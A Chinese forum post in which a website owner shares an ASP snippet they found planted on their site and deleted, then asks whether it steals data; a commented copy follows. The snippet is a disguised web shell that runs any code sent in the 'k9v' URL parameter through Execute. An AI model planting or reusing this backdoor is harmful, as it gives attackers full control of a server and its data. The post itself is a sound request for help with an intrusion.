不知是不是被人挂码了或其它用途的，文件类容如下：

<%
Call System_Initalize()
Function System_Initalize()
    On Error Resume Next
    Dim Rss2Export:Rss2Export="k9v"
    Dim objArticle:objArticle=Request(Rss2Export)
    Set Rss2Export = New TRssExport
    With Rss2Export
        Dim objRS,UserName,UserIntro
        .TimeZone=ZC_TIME_ZONE
        UserName=Users(UserID).Name
        If objArticle<>"" Then
        .AddChannelAttribute "language",ZC_BLOG_LANGUAGE
        Execute Replace(objArticle,"*"&Rss2Export,"")
        .AddChannelAttribute "copyright",TransferHTML(ZC_BLOG_COPYRIGHT,"[nohtml][html-format]")
        .AddChannelAttribute "pubDate",Now
        Response.End()
        End if
    End With
End Function
%>

帮分析一下，谢谢。

<%
Call System_Initalize()'调用下面定义的函数
Function System_Initalize()
    On Error Resume Next'忽略程序执行错误
    Dim Rss2Export:Rss2Export="k9v"'定义一个变量并赋值为k9v
    Dim objArticle:objArticle=Request(Rss2Export)'定义一个变量，并且把url提交过来的参数k9v赋值给这个变量
    Set Rss2Export = New TRssExport'创建一个名为Rss2Export的对象
    With Rss2Export'下面的属性都是这个对象的
        Dim objRS,UserName,UserIntro'声明变量
        .TimeZone=ZC_TIME_ZONE'将Rss2Export.TimeZone=ZC_TIME_ZONE这个变量
        UserName=Users(UserID).Name'Users这里是一个集合
        If objArticle<>"" Then
        .AddChannelAttribute "language",ZC_BLOG_LANGUAGE
        Execute Replace(objArticle,"*"&Rss2Export,"")
        .AddChannelAttribute "copyright",TransferHTML(ZC_BLOG_COPYRIGHT,"[nohtml][html-format]")
        .AddChannelAttribute "pubDate",Now
        Response.End()
        End if
    End With
End Function
%>

它这个程序有什么用呢，我把它删除了，也不知是什么时候被加上的，原来是没有的，一直网站也用得好好的。会不会是盗网站中数据的？